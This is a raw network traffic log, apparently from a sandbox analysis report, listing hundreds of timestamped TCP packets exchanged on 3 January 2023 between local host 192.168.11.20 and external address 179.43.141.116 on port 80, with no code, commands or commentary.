                                                                              Jan 3, 2023 08:16:06.625931978 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625945091 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625958920 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.625958920 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625958920 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.625973940 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625988007 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626002073 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626007080 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.626007080 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.626015902 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626029968 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626044035 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626058102 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626071930 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626085997 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626100063 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626106024 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.626113892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626128912 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626142025 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626156092 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626169920 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626183987 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626198053 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626213074 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626219988 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.626226902 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626240969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626255035 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626269102 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626282930 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626296997 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626311064 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626318932 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.626318932 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.626324892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626339912 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626353979 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626368046 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626382113 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626395941 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626410007 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626415968 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.626424074 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626437902 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626452923 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626466990 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626482010 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626494884 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626508951 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626523018 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626538038 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626552105 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626552105 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.626565933 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626580000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626594067 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626600981 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.626609087 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626622915 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626636982 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626650095 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.626650095 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.626651049 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626666069 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626679897 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626693964 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626698971 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.626708031 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626722097 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626734972 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626749039 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626763105 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626777887 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626791954 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626796961 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.626806021 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626820087 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626833916 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626846075 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.626847982 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626862049 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626876116 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626889944 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626894951 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.626904011 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626919031 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626933098 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626946926 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626949072 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.626960993 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626975060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626988888 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.626997948 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.626997948 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.627002954 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627017021 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627031088 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627044916 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627047062 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.627058983 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627074003 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627088070 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627101898 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627115965 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627130032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627144098 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627145052 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.627157927 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627171993 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627186060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627193928 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.627193928 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.627201080 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627214909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627228975 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627243042 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627257109 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627270937 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627285004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627290964 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.627299070 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627312899 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627326965 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627340078 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627341032 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.627353907 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627368927 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627382994 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627389908 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.627397060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627412081 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627425909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627439976 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627453089 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627468109 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627481937 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627496004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627510071 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627523899 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627537966 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627552032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627566099 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627578974 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.627578974 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.627578974 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627593040 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627613068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627626896 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627626896 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.627640963 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627655029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627669096 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627682924 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627696991 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627711058 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627724886 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.627726078 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627739906 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627753973 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627768040 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627782106 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627784967 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.627795935 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627810001 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627824068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627839088 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627850056 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.627850056 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.627852917 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627866983 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627881050 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627896070 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627897978 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.627897978 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.627909899 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627923965 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627938986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627945900 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.627953053 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627966881 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627980947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627995014 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.627995014 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.627995014 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.627995014 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.628009081 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628022909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628036976 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628051996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628066063 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628079891 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628093958 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628094912 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.628094912 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.628094912 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.628108025 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628122091 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628135920 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628149986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628165007 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628179073 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628191948 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628206015 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628209114 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.628221035 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628235102 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628248930 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628262997 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628277063 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628290892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628310919 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.628310919 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.628314972 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628331900 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628345966 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628356934 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.628357887 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.628360033 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628374100 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628387928 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628401995 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628406048 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.628416061 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628431082 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628444910 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628458977 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628473043 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628487110 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628500938 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628504038 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.628515005 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628529072 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628542900 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628552914 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.628556967 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628571033 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628586054 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628599882 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628613949 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628628016 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628632069 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.628633022 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.628642082 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628655910 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628669977 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628684998 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628699064 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628712893 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628726959 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628731012 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.628731012 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.628741026 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628755093 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628768921 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628782988 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628798008 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628812075 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628825903 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628829002 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.628839970 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628854036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628868103 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628881931 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628884077 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.628895998 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628910065 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628923893 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628937960 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628952026 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628956079 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.628956079 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.628966093 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628979921 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.628993988 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629004002 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629008055 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629021883 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629035950 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629050016 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629064083 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629079103 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629092932 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629101992 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629106998 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629122019 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629136086 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629149914 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629152060 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629163980 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629179001 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629193068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629206896 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629220963 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629231930 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629231930 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629231930 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629235029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629249096 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629262924 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629276991 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629291058 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629304886 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629318953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629328966 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629328966 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629333019 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629348040 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629362106 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629375935 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629376888 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629390001 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629404068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629417896 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629426956 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629426956 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629426956 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629431963 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629446030 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629460096 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629473925 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629475117 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629488945 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629503012 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629515886 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629530907 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629544973 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629558086 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629573107 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.629574060 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629574060 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.629586935 CET8049869179.43.141.116192.168.11.20
